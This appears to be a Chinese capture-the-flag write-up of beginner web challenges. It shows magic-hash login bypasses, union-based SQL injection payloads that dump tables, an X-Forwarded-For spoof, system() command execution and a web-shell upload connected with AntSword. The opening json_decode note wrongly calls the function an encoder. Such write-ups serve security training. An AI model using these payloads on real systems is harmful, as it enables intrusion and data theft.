json_decode介绍:
json_decode
(PHP 5 >= 5.2.0, PECL json >= 1.2.0)
json_decode — 对 JSON 格式的字符串进行编码
说明
mixed json_decode ( string $json [, bool $assoc ] )
接受一个 JSON 格式的字符串并且把它转换为 PHP 变量
参数
json
待解码的 json string 格式的字符串。
assoc
当该参数为 TRUE 时,将返回 array 而非 object 。
例如:$json = ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5}’;
int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
所以为满足if条件,输出flag,构造:
get:json={"x":"wllm"}
post:id=wllNB 得到flag。
代码审计得知,我们需要让name!=password同时保证md5加密后的name与md5加密的password==.根据php弱类型比较,MD5加密后为0e开头的数字的字符串有:QNKCDZO,s878926199a。
get post传给name与password后得到flag。
直接蚁剑连,密码是wllm。找目录发现在/flag里。
ctrl+u查看源码得知,参数是wllm。
通过报错发现存在字符型注入。
1' order by 3--+
用order by 查询字段数,查得字段数为3.
union select 联合查询得知回显位位2,3
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查询表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="test_tb"--+ 查询字段名
-1' union select 1,2,group_concat(id,flag) from test_tb--+
得到flag。
刚进去看见,Please use 'WLLM' browser! burp抓包改一下browser。
之后在Response里看见location:./a.php,访问试试。
You can only read this at local!只能本地读取,因此我们更改XFF位127.0.0.1.
得到 Location: ./secretttt.php。访问,得到flag。
system("ls /")发现flllllaaaaaaggggggg。
再执行system("cat /flllllaaaaaaggggggg"). 得到flag。
这是一道文件上传题目,我们创建一个空文本文档,然后更改后缀位.jpg绕过检测。
上传文件,并且burp_suite进行抓包。
在文件里写入我们的php一句话木马,并更改filename后缀为php。
上传成功,用蚁剑连接一下。
连接成功,在目录中找flag。发现是错误的flag。
这里之后就不会做了。居然是假的flag。看其他师傅题解后,说是写phpinfo上传就可以看到flag。重新写一下phpinfo上传。
在environment中得到flag。